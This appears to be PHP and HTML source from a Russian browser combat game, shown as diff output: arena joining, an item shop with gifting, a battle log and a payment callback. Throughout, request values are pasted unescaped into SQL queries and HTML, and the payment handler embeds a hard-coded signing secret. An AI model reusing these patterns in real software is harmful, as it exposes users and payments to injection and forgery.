if(!isset($eff['id'])) {
if($user['level'] >= 7) {
if($user['hp'] > $user['maxhp']*0.33) {
if($user['align'] != 4) {
if($is_now['time_m'] < (time()+60*60)) {
$bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10023" LIMIT 1'));
join_arena($user['id'], $is_now['id'], 2, $bot['id']);
} else {
$error = 'Время истекло ...';
}
} else {
$error = 'Хаосникам тут не место ...';
}
} else {
$error = 'Вы слишком ослаблены ...';
}
} else {
$error = 'Данный вид поединков доступен с 7 уровня ...';
}
} else {
$error = 'Вы травмированны и не можете принять участие в поединке ...';
}
} else {
$error = 'Поединок не найден ...';
}
} else {
$error = 'Не Ваша склонность ...';
}
} elseif($_GET['append'] == 2) { ##### team 1
if($al == 2 || $al == 3) {
if(isset($is_now['id'])) {
if(!isset($eff['id'])) {
if($user['level'] >= 7) {
if($user['hp'] > $user['maxhp']*0.33) {
if($user['align'] != 4) {
if($is_now['time_m'] < (time()+60*60)) {
$bot = mysql_fetch_array(mysql_query('SELECT `id` FROM `bots` WHERE `battle` = "'.$is_now['id'].'" AND `prototype` = "10024" LIMIT 1'));
join_arena($user['id'], $is_now['id'], 1, $bot['id']);
} else {
$error = 'Время истекло ...';
}
} else {
$error = 'Хаосникам тут не место ...';
}
} else {
$error = 'Вы слишком ослаблены ...';
}
} else {
$error = 'Данный вид поединков доступен с 7 уровня ...';
}
} else {
$error = 'Вы травмированны и не можете принять участие в поединке ...';
}
} else {
$error = 'Поединок не найден ...';
}
} else {
$error = 'Не Ваша склонность ...';
}
}
}
?>
<html>
<head>
<title>404</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta http-equiv="content-language" content="ru" />
<link rel="stylesheet" type="text/css" href="design/css/fight.css" />
</head>
<style>
.hs {
font-weight: bold;
font-size: 19px;
color: #8f0000;
font-family: arial;
text-align: center;
}
.bt {
float: right;
border: solid 1px #b0b0b0;
margin-top: 1px;
margin-bottom: 2px;
font-size: 11px;
color: #191970;
background-color: white;
padding: 1px 6px;
}
.credenzaBox {
width: 800px;
height: 367px;
overflow: hidden;
}
.credenzaItem {
width: 540px;
margin: 15px 120px;
padding: 6px 10px;
/*border: 1px inset #e2e0e0; 299pxxx
background: rgba(226,224,224, 0.9);*/
text-align: center;
}
.credenza-stateCaption {
text-align: center;
font-weight: bold;
margin-bottom: 12px;
color: #FFF;
font: 19px Arial, sans-serif;
text-shadow: red 1px 1px 0, red -1px -1px 0,
red -1px 1px 0, red 1px -1px 0;
/*
text-shadow: 3px 3px 2px rgba(0, 192, 173, 1);
font-size: 19px;
*/
}
.buttonContainer {
position: relative;
right: 0px;
top: 1px;
text-align: center;
overflow: hidden;
padding: 2px;
zoom: 1;
}
.contentContainer {
margin-left: auto;
margin-right: auto;
width: 800px;
height: auto;
position: relative;
}
h2 {
font-size: 13px;
margin-bottom: 0px;
color: #FFF;
font-family: verdana;
}
a {
font-weight: bold;
color: #FFF;
text-decoration: none;
}
a:hover {
color: Red;
}
</style>
<body>
<center><div><span class="hs">Арена Ангелов</span></div></center>
<div class="contentContainer">
<div class="buttonContainer">
<input type="button" onclick="location.href='city.php?abog=1';" class="bt" value="Вернуться" />
<input type="button" onclick="location.reload();" class="bt" value="Обновить" />
</div>
<!-- url('/i/im/1724581.jpg') -->
<div class="credenzaBox" style="background: url('/i/im/u1001573_1407648022.jpg') no-repeat center;">
<div class="credenzaItem">
<? if(!isset($is_now['id'])) { ?>
<div class="credenza-stateCaption"><center><? echo $winers;?>.<br />Следующая битва для 7-21 ур. состоится : <? echo date("d.m.Y H:i", $start['value']);?></center></div>
<? } else { ?>
<div class="credenza-stateCaption"><h2><center>Идет сражение [7-21 уровни]</center></h2><br /><a href="/logs.php?log=<?=$is_now['id'];?>" target="_blank" style="text-align: center;">ход боя »»</a></div>
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td align="left">
<a href="?append=1" style="display: inline;"><img src="/i/im/append_1.png" height="70" /><br />Вмешаться</a>
</td>
<td align="center">
<img src="/i/im/logo_big2.png" />
</td>
<td align="right">
<a href="?append=2" style="display: inline;"><img src="/i/im/append_2.png" height="70" /><br />Вмешаться</a>
</td>
</tr>
</tbody>
</table>
<? } ?>
</div>
</div>
</div>
<center><? if($error != '') { echo '<b style=\'color: Red;\'>'.$error.'</b>'; } ?></center>
</body>
</html>

379
ashop.php Normal file
View File

@ -0,0 +1,379 @@
<?php
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".$_SESSION['uid']."' LIMIT 1;"));
include "functions.php";
if ($user['room'] != 50) { header("Location: main.php"); die(); }
$d = mysql_fetch_array(mysql_query("SELECT sum(`massa`) FROM `inventory` WHERE `owner`='".$_SESSION['uid']."' AND `dressed`=0 AND `setsale`=0;"));
if ($user['battle'] != 0) { header('location: fbattle.php'); die(); }
//$_GET['otdel'] = 1;
if($_POST['enter'] && $_POST['pass']) {
$data = mysql_query("SELECT * FROM `bank` WHERE `owner`='".$user['id']."' AND `id`='".$_POST['id']."' AND `pass`='".md5($_POST['pass'])."';");
$data = mysql_fetch_array($data);
if($data) {
$_SESSION['bankid'] = $_POST['id'];
err('Удачный вход.');
}
else {
err('Ошибка входа.');
}
}
$bank = mysql_fetch_array(mysql_query("SELECT * FROM `bank` WHERE `id`='".$_SESSION['bankid']."';"));
if (($_GET['set'] OR $_POST['set'])) {
if ($_GET['set']) { $set = $_GET['set']; }
if ($_POST['set']) { $set = $_POST['set']; }
if(!$_POST['count']) { $_POST['count']=1; }
if(!is_numeric($_POST['count']) || $_POST['count']!=((int)$_POST['count'])) {
$_POST['count']=0;
$count_ok=0;
}
elseif ($_POST['count'] < 1) {
$_POST['count'] =0; $count_ok = 0;
}
else $count_ok=1;
$dress = mysql_fetch_array(mysql_query("SELECT * FROM `ashop` WHERE `id`='".$set."' LIMIT 1;"));
if ($count_ok==0) {
echo "<font color=red><b>Неправильно введено количество</b></font>";
//$good = 0;
}
elseif (($dress['massa']*$_POST['count']+$d[0]) > (get_meshok())) {
echo "<font color=red><b>Недостаточно места в рюкзаке.</b></font>";
//$good = 0;
}
elseif($count_ok==1 && ($bank['ekr']>= ($dress['ecost']*$_POST['count'])) && ($dress['count'] >= $_POST['count'])) {
for($k=1;$k<=$_POST['count'];$k++) {
if(mysql_query("INSERT INTO `inventory`
(`prototype`,`owner`,`name`,`type`,`massa`,`cost`,`img`,`maxdur`,`isrep`,
`gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`,
`mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`artefact`, `koll`)
VALUES
('{$dress['id']}','{$_SESSION['uid']}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['cost']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}',
'{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron3']}','{$dress['bron2']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['artefact']}', '{$dress['koll']}');"))
{
$good = 1;
}
else {
$good = 0;
}
}
if ($good) {
mysql_query("UPDATE `ashop` SET `count`=`count`-".$_POST['count']." WHERE `id`='".$set."' LIMIT 1;");
$limit=$_POST['count'];
$invdb = mysql_query("SELECT `id` FROM `inventory` WHERE `name` = '".$dress['name']."' ORDER by `id` DESC LIMIT ".$limit.";" );
if ($limit == 1) {
$dressinv = mysql_fetch_array($invdb);
$dressid = "cap".$dressinv['id'];
$dresscount=" ";
}
else {
$dressid="";
while ($dressinv = mysql_fetch_array($invdb)) {
$dressid .= "cap".$dressinv['id'].",";
}
$dresscount="(x".$_POST['count'].") ";
}
$allcost=$_POST['count']*$dress['ecost'];
mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."] за ".$allcost." екр. ',1,'".time()."');");
echo "<font color=red><b>Вы купили {$_POST['count']} шт. \"{$dress['name']}\".</b></font>";
mysql_query("UPDATE `bank` set `ekr`=`ekr`-'".($allcost)."' WHERE `id`='".$_SESSION['bankid']."';");
$bank['ekr'] -=$allcost;
}
}
else {
echo "<font color=red><b>Недостаточно денег или нет вещей в наличии.</b></font>";
}
}
?>
<html><head>
<link rel=stylesheet type="text/css" href="css/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<meta Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<meta Http-Equiv=Expires Content=0>
<script language="JavaScript">
function AddCount(name, txt) {
document.all("hint3").innerHTML = '<form method=post style="margin:0px; padding:0px;"><table border=0 width=100% cellspacing=1 cellpadding=0 bgcolor="#CCC3AA"><tr><td align=center><B>Купить неск. штук</td><td width=20 align=right valign=top style="cursor: hand" onclick="closehint3();"><big><b>x</td></tr><tr><td colspan=2>'+
'<table border=0 width=100% cellspacing=0 cellpadding=0 bgcolor="#FFF6DD"><tr><input type="hidden" name="set" value="'+name+'"><td colspan=2 align=center><b><i>'+txt+'</td></tr><tr><td width=80% align=right>'+
'Количество (шт.) <input type="text" name="count" size=4 ></td><td width=20%>&nbsp;<input type="submit" value=" »» ">'+
'</td></tr></table></td></tr></table></form>';
document.all("hint3").style.visibility = "visible";
document.all("hint3").style.left = 100;
document.all("hint3").style.top = 100;
document.all("count").focus();
}
// Закрывает окно
function closehint3()
{
document.all("hint3").style.visibility="hidden";
}
</script>
</head>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#d4d4d4>
<table border=0 width=100% cellspacing="0" cellpadding="0">
<form action="city.php" method=GET>
<tr><td><h3>Магазин Берёзка</td><td align=right>
<input type="button" value="Подсказка" style="background-color:#A9AFC0" onClick="window.open('help/shop.html', 'help', 'height=300,width=500,location=no,menubar=no,status=no,toolbar=no,scrollbars=yes')">
<INPUT TYPE="button" onClick="location.href='city.php?cp=1';" value="Вернуться" title="Вернуться"></td></tr>
</form>
</table>
<?
if(!$_SESSION['bankid']) {
?>
<form method=post>
<fieldset style="width:200px; height:130px;">
<legend>Войти в счет</legend><br> &nbsp;
<?
$banks = mysql_query("SELECT * FROM `bank` WHERE `owner` = ".$user['id'].";");
echo "<select style='width:150px' name=id>";
while ($rah = mysql_fetch_array($banks)) {
echo "<option>",$rah['id'],"</option>";
}
echo "</select>";
?>
<br> &nbsp; Пароль <input type=password name=pass size=21>
<br><br>
<center><input type=submit name='enter' value='Войти'>
</fieldset>
</form>
<?
die();
}
?>
<table border=0 width=100% cellspacing="0" cellpadding="4">
<tr>
<form method=POST action="ashop.php">
<input type="hidden" name="sid" value="">
<input type="hidden" name="id" value="1">
<td valign=top align=left>
<!--Магазин-->
<table border=0 width=100% cellspacing="0" cellpadding="0" <?if (!$_REQUEST['present']) { echo 'bgcolor="#A5A5A5"';}?>>
<tr>
<td align=center><b>
<?
if ($_REQUEST['compare'] && !$_REQUEST['common'] && !$_REQUEST['present']) {
echo "Составление подарочного букета";
}
elseif ($_REQUEST['present']) {
//echo "Составление подарочного букета";
}
else {
switch ($_GET['otdel']) {
case null:
echo "Оружие: кастеты,ножи";
$_GET['otdel'] = 1;
break;
case 1:
echo "Оружие: кастеты,ножи";
break;
case 11:
echo "Оружие: топоры";
break;
case 12:
echo "Оружие: дубины,булавы";
break;
case 13:
echo "Оружие: мечи";
break;
case 14:
echo "Оружие: луки и арбалеты";
break;
case 2:
echo "Одежда: сапоги";
break;
case 21:
echo "Одежда: перчатки";
break;
case 22:
echo "&Одежда: легкая броня";
break;
case 23:
echo "Одежда: тяжелая броня";
break;
case 24:
echo "Одежда: шлемы";
break;
case 3:
echo "Щиты";
break;
case 4:
echo "Ювелирные товары: серьги";
break;
case 41:
echo "Ювелирные товары: ожерелья";
break;
case 42:
echo "Ювелирные товары: кольца";
break;
case 5:
echo "Заклинания: нейтральные";
break;
case 51:
echo "Заклинания: боевые и защитные";
break;
case 6:
echo "Амуниция";
break;
case 7:
echo "Букеты";
break;
}
}
?>
</b></td>
</tr>
<tr><td><!--Рюкзак-->
<table border=0 width=100% cellspacing="1" cellpadding="2" bgcolor="#A5A5A5">
<?
if($_REQUEST['present']) {
if($_POST['to_login'] && $_POST['flower']) {
$to = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `login`='".$_POST['to_login']."' LIMIT 1;"));
if ($_POST['to_login'] == $user['login']) {
echo "<b><font color=red>Очень щедро дарить что-то самому себе ;)</font></b>";
}
elseif ($to['room'] > 500 && $to['room'] < 561) {
echo "<b><font color=red>Персонаж в данный момент участвует в турнире в Башне Смерти. Попробуйте позже.</font></b>";
}
else {
if($_POST['from']==1) { $from = 'Аноним'; }
elseif($_POST['from']==2 && $user['klan']) { $from = ' клана '.$user['klan']; }
else { $from = $user['login']; }
if ($to) if(mysql_query("UPDATE `inventory` SET `owner`='".$to['id']."', `present`='".$from."', `letter`='".$_POST['podarok2']."' WHERE `present`='' AND `id`='".$_POST['flower']."' AND `owner`='".$_SESSION['uid']."' AND `dressed`=0 AND `setsale`=0;")) {
$res = mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `id` = '".$_POST['flower']."' LIMIT 1;"));
$buket_name=$res['name'];
mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$_SESSION['uid']."','Подарен предмет \"".$res['name']."\" id:(cap".$res['id'].") [".$res['duration']."/".$res['maxdur']."] от \"".$from."\" к \"".$to['login']."\"','1','".time()."');");
mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','{$to['id']}','Подарен предмет \"".$res['name']."\" id:(cap".$res['id'].") [".$res['duration']."/".$res['maxdur']."] от \"".$from."\" к \"".$to['login']."\"','1','".time()."');");
if(($_POST['from']==1) || ($_POST['from']==2)) {
$action="подарил";
mysql_query("INSERT INTO `delo`(`id`,`author`,`pers`,`text`,`type`,`date`) VALUES ('','0','".$to['id']."','Подарен предмет \"".$res['name']."\" id:(cap".$res['id'].") [".$res['duration']."/".$res['maxdur']."] от \"".$user['login']."\" к \"".$to['login']."\"','5','".time()."');");
}
else {
if ($user['sex'] == 0) { $action="подарила"; }
else { $action="подарил"; }
}
$us = mysql_fetch_array(mysql_query("select `id` from `online` WHERE `date`>=".(time()-60)." AND `id` = '".$to['id']."' LIMIT 1;"));
if($us[0]) {
addchp ('<font color=red>Внимание!</font> <span oncontextmenu=OpenMenu()>'.$from.'</span> '.$action.' вам <b>'.$buket_name.'</b>. ','{[]}'.$_POST['to_login'].'{[]}');
}
else {
// если в офе
mysql_query("INSERT INTO `telegraph` (`owner`,`date`,`text`) values ('".$to['id']."','','".'<font color=red>Внимание!</font> <span oncontextmenu=OpenMenu()>'.$from.'</span> '.$action.' вам <b>'.$buket_name.'</b>. '."');");
}
echo "<b><font color=red>Подарок удачно доставлен к \"",$_POST['to_login'],"\"</font></b>";
}
echo mysql_error();
}
}
?>
<!-- Подарить подарок -->
<form method="post">
<table cellspacing=0 cellpadding=0 width=100% bgcolor=#e0e0e2><td>
<input type=hidden name=present value=1>
Вы можете сделать подарок дорогому человеку. Ваш подарок будет отображаться в информации о персонаже.
<ol>
<li>Укажите логин персонажа, которому хотите сделать подарок<br>
Login <input type=text name=to_login value="">
<li>Цель подарка. Будет отображаться в информации о персонаже (не более 60 символов)<br>
<input type=text name=podarok2 value="" maxlength=60 size=50>
<li>Напишите текст сопроводительной записки (в информации о персонаже не отображается)<br>
<textarea name=txt rows=6 cols=80></textarea>
<li>Выберите, от чьего имени подарок:<br>
<input type=radio name=from value=0 checked> <? nick2($user['id']);?><br>
<input type=radio name=from value=1 > анонимно<br>
<input type=radio name=from value=2 > от имени клана<br>
<li>Нажмите кнопку <b>Подарить</b> под предметом, который хотите преподнести в подарок:<br>
</ol>
<input type="hidden" name="flower" id="flower" value="">
<table border=0 width=100% cellspacing="1" cellpadding="2" bgcolor="#A5A5A5">
<?
//print_r($_POST);
$data = mysql_query("SELECT * FROM `inventory` WHERE `owner`='".$_SESSION['uid']."' AND `dressed`=0 AND (`name` LIKE '%Букет%' OR `name` LIKE '%Сувенир%' OR `name` LIKE '%Подарок%' OR `name` LIKE '%Валентинка%' OR `name` LIKE '%Открытка%' OR `name` LIKE 'Ель%' OR `name` LIKE '%Медаль%' OR `name` LIKE '%Статуэтка%') AND `setsale`=0 AND `present` = '' ORDER by `id` DESC;");
while($row = mysql_fetch_array($data)) {
if(!in_array($row['id'],array_keys($_SESSION['flowers']))) {
$row['count'] = 1;
if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; }
echo "<tr bgcolor={$color}><td align=center style='width:150px'><img src=\"i/sh/{$row['img']}\" border=0>";
?>
<br><input type=submit onClick="document.all['flower'].value="<?=$row['id'];?>"" value="Подарить">
</td>
<?
echo "<td valign=top>";
showitem ($row);
echo "</td></tr>";
}
}
?>
</table>
</form>
<?
}
else
{
$data = mysql_query("SELECT * FROM `ashop` WHERE `count`>0 AND `razdel`='".$_GET['otdel']."' AND `ecost`>0 ORDER by `ecost` ASC;");
while($row = mysql_fetch_array($data)) {
if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; }
echo "<tr bgcolor=".$color."><td align=center style='width:150px'><img src=\"i/sh/{$row['img']}\" border=0>";
?>
<br />
<a href="ashop.php?otdel=<?=$_GET['otdel']?>&set=<?=$row['id']?>&sid=">купить</A>
<img src="i/up.gif" width=11 height=11 border=0 alt="Купить несколько штук" style="cursor:hand" onClick="AddCount("<?=$row['id']?>", "<?=$row['name']?>")"></td>
<?
echo "<td valign=top>";
showitem ($row);
echo "</td></tr>";
}
}
?>
</table>
</td></tr>
</table>
</td>
<td valign=top width=280>
<center><b>Масса всех ваших вещей:
<?
echo $d[0];
?>/<?=get_meshok()?><br>
У вас в наличии: <font color="#339900"><?=$bank['ekr']?></font> екр.</b></center>
<!--<hr /><a href=upgrade_items.php><font color=blue>Улучшение Артефактов</font></a>-->
<hr>
<div style="margin-left:15px; margin-top: 10px;">
<form method="post">
</div></form>
<div style="background-color:#d2d0d0;padding:1"><center><font color="#oooo"><b>Отделы магазина</b></center></div>
<b>Оружие:</b><br>
<!--<a href="ashop.php?otdel=1&sid=&0.162486541405194">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;кастеты,ножи</a><br>-->
<a href="ashop.php?otdel=11&sid=&0.337606814894404">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;топоры</a><br>
<a href="ashop.php?otdel=12&sid=&0.286790872806733">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;дубины,булавы</a><br>
<a href="ashop.php?otdel=13&sid=&0.0943516060419363">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;мечи</a><br>
<b>Одежда:</b><br>
<a href="ashop.php?otdel=24&sid=&0.567932791291376">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;шлемы</a><br>
<a href="ashop.php?otdel=23&sid=&0.99133839275569">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;тяжелая броня</a><br>
<a href="ashop.php?otdel=22&sid=&0.520447517792988">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;легкая броня</a><br>
<a href="ashop.php?otdel=3&sid=&0.725667864710179">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;щиты</a><br>
<!--<a href="ashop.php?otdel=21&sid=&0.648260824682342">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;перчатки</a><br>-->
<a href="ashop.php?otdel=2&sid=&0.76205958316951">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;сапоги</a><br>
<b>Ювелирные товары:</b><br>
<!--<a href="ashop.php?otdel=4&sid=&0.321709306035984">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;серьги</a><br>
<a href="ashop.php?otdel=41&sid=&0.902093651333512">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ожерелья</a><br>-->
<a href="ashop.php?otdel=42&sid=&0.510210803380268">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;кольца</a><br>
<b>Магия:</b><br>
<!--<a href="ashop.php?otdel=51&sid=&0.722009624500359">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;боевые</a><br>-->
<a href="ashop.php?otdel=5&sid=&0.648834385828923">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;разные</a><br>
<b>Разное:</b><br>
<!--<a href="ashop.php?otdel=6&sid=&0.925798340638547">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;амуниция</a><br>-->
<a href="ashop.php?otdel=7&sid=&0.925798340638547">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;букеты</a><br>
</div>
<div id="hint3" class="ahint"></div>
</td>
</form>
</tr>
</table>
</body>
</html>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1 @@
Часы показывали <span class=date>2017.02.08 16.39</span>, когда <b><b>trykster</b> [3]<a href=inf.php?11305 target=_blank><img src=i/inf.gif width=12 height=11 /></a></b> и <b><b>trykster (Клон 1)</b> [3]<a href=inf.php?10095829 target=_blank><img src=i/inf.gif width=12 height=11 /></a></b> бросили вызов друг другу. <BR><span class=date>[16:39:10]</span> <span class=B1>trykster</span> забылся, и тут обезумевший <span class=B2>trykster (Клон 1)</span> ударил острой стороной меча по затылку <b>-17</b> [97/114]<BR><span class=date>[16:39:10]</span> <span class=B2>trykster (Клон 1)</span> пытался что-то сказать но вдруг, неожиданно продвинутый <span class=B1>trykster</span> сдуру вмазал тупым лезвием в правый глаз <b>-17</b> [97/114]<BR><span class=date>[16:39:11]</span> <span class=B1>trykster</span> забылся, и тут <span class=B2>trykster (Клон 1)</span> сдуру вмазал мечом в область лопаток <b>-21</b> [76/114]<BR><span class=date>[16:39:11]</span> <span class=B1>trykster</span> старался провести удар, но расстроенный <span class=B2>trykster (Клон 1)</span> заблокировал удар ножнами по левой ягодице.<BR><span class=date>[16:39:12]</span> <span class=B1>trykster</span> обернулся, как внезапно жестокий <span class=B2>trykster (Клон 1)</span>, улыбаясь, саданул укол острой стороной меча в промежность <b>-16</b> [60/114]<BR><span class=date>[16:39:12]</span> <span class=B2>trykster (Клон 1)</span> забылся, и тут обезумевший <span class=B1>trykster</span> отчаянно проткнул гардой по левой ягодице <b>-17</b> [80/114]<BR><span class=date>[16:39:13]</span> <span class=B1>trykster</span> растерялся, как вдруг расстроенный <span class=B2>trykster (Клон 1)</span> отчаянно проткнул ножнами в область лопаток <b>-22</b> [38/114]<BR><span class=date>[16:39:13]</span> <span class=B2>trykster (Клон 1)</span> пытался что-то сказать но вдруг, неожиданно наглый <span class=B1>trykster</span> не подумав, рубанул ножнами по левой ягодице <b>-20</b> [60/114]<BR><span class=date>16:39</span> <i>Комментатор: Сначала учатся ходить, а потом только в драку лезут.</i><BR><span class=date>[16:39:15]</span> <span class=B1>trykster</span> растерялся, как вдруг наглый <span class=B2>trykster (Клон 1)</span> приложил удар гардой в промежность <b>-22</b> [16/114]<BR><span class=date>[16:39:15]</span> <span class=B2>trykster (Клон 1)</span> пришел в себя, но в это время храбрый <span class=B1>trykster</span> , сказав "БУ!", ласково, пробив блок, ударил по левой ягодице.<b><font color=red>-17</font> </b>[43/114]<BR><span class=date>[16:39:17]</span> <span class=B1>trykster</span> пытался что-то сказать но вдруг, неожиданно <span class=B2>trykster (Клон 1)</span>, разбежавшись, рубанул ножнами в промежность <b>-20</b> [0/114]<BR><span class=date>[16:39:17]</span> <span class=B2>trykster (Клон 1)</span> засмотрелся на <вырезано цензурой>, а в это время жестокий <span class=B1>trykster</span>, разбежавшись, рубанул огромным мечом по левой ягодице <b>-18</b> [25/114]<BR><span class=date>16:39</span> <span class=b>trykster</span> проиграл бой!<BR><span class=date>[16:39:17]</span> Бой закончен, победа за <B><span class=>trykster (Клон 1)</span></B><BR>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

43
bank.balans.php Normal file
View File

@ -0,0 +1,43 @@
<?
include "config.php";
include "functions.php";//
if ($_REQUEST['PREVIEW']) {
$r = mysql_fetch_array(mysql_query("SELECT * FROM `ekrpayments` WHERE `id`='".$_POST['PAYMENT_ORDER_ID']."' LIMIT 1;"));
if($r) {
echo "__YES__";
} else {
echo "__NO__";
}
die();
}
$hash = strtoupper (md5($_POST['LMI_PAYEE_PURSE'].$_POST['LMI_PAYMENT_AMOUNT'].$_POST['LMI_PAYMENT_NO'].$_POST['LMI_MODE'].$_POST['LMI_SYS_INVS_NO'].
$_POST['LMI_SYS_TRANS_NO'].$_POST['LMI_SYS_TRANS_DATE'].'ctrhtn'.$_POST['LMI_PAYER_PURSE'].$_POST['LMI_PAYER_WM']));
$hash = strtolower (
md5(
$_POST['SYSTEM_NAME']."::".
$_POST['PAYMENT_USERNAME']."::".
md5('eyruyerjhmernnb2756628782dsdfd')."::".
$_POST['PAYMENT_ORDER_ID']."::".
$_POST['PAYMENT_STATUS']."::".
$_POST['PAYMENT_AMOUNT']."::".
$_POST['PAYMENT_DESCRIPTION']."::".
$_POST['RESULT_URL']."::".
$_POST['SUCCESS_URL']."::".
$_POST['FAIL_URL']
));
if($_POST['SIGN'] == $hash) {
$r = mysql_fetch_array(mysql_query("SELECT * FROM `ekrpayments` WHERE `id`='".$_POST['PAYMENT_ORDER_ID']."' LIMIT 1;"));
if($r) {
mysql_query("UPDATE `bank` SET `ekr`=`ekr`+'".$_POST['PAYMENT_AMOUNT']."' WHERE `id`='".$r['bank']."';");
echo "__YES__";
mysql_query("DELETE FROM `ekrpayment` WHERE `id`='".$_POST['PAYMENT_ORDER_ID']."' LIMIT 1;");
} else {
echo "__NO__";
}
die();
}
?>

912
bank.php Normal file
View File

@ -0,0 +1,912 @@
<?
ob_start("ob_gzhandler");
session_start();
if ($_SESSION['uid'] == null) header("Location: index.php");
include "config.php";
include "functions.php";
if($user['room'] != 29) header("Location: main.php");
if($user['battle'] != 0) { header('location: fbattle.php'); die(); }
$cost_login = 25;
######## ОБЩИЕ ЗАПРОСЫ В БАЗУ ###
#################################
function inschet($userid) {
$banks = mysql_query("SELECT * FROM `bank` WHERE `owner` = '".$userid."'");
echo "<select style='width:150px' name=id>";
while ($rah = mysql_fetch_array($banks)) {
echo "<option>".$rah['id']."</option>";
}
echo "</select>";
}
?>
<html><head><script>
function returned2(s) {
top.frames['main'].location = 'city.php?'+s+'tmp='+Math.random()
}
</script>
<script type="text/javascript" src="http://capitalcity.old-dark.ru/js/jquery-1.7.2.min.js"></script>
<link rel=stylesheet type="text/css" href="css/main.css" />
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<style>
legend {
padding: 0.2em 0.5em;
color:#666;
font-weight: bold;
}
.exitbtn {
background: #DDD;
border: 1px solid silver;
color: #AF0000;
display: inline-block;
margin-left: 10px;
padding: 5px 15px;
text-decoration: none;
}
.appblock{
background:silver;
border-radius:2px;
float: left;
height: 200px;
margin:10px;
max-width: 250px;
opacity: 0.75;
padding:5px;
}
div.appblock form {
margin: 0;
}
</style>
<script>
function setCookie(name, value, options) {
options = options || {};
var expires = options.expires;
if(typeof expires == "number" && expires) {
var d = new Date();
d.setTime(d.getTime() + expires * 1000);
expires = options.expires = d;
}
if(expires && expires.toUTCString) {
options.expires = expires.toUTCString();
}
value = encodeURIComponent(value);
var updatedCookie = name + "=" + value;
for(var propName in options) {
updatedCookie += "; " + propName;
var propValue = options[propName];
if(propValue !== true) {
updatedCookie += "=" + propValue;
}
}
document.cookie = updatedCookie;
}
function toogle(s) {
var s;
var isDisplays = $('#'+s).css('display');
if(isDisplays != 'none') {
setCookie(s, 0);
} else {
setCookie(s, 1);
}
$('#'+s).toggle('slow');
}
</script>
</head>
<body leftmargin=5 topmargin=0 marginwidth=0 marginheight=0 bgcolor=#d4d4d4>
<? if(!empty($error)) echo '<center><b style=\'color: Red;\'>'.$error.'</b></center>'; ?>
<table width=100%>
<tr>
<td align=center>
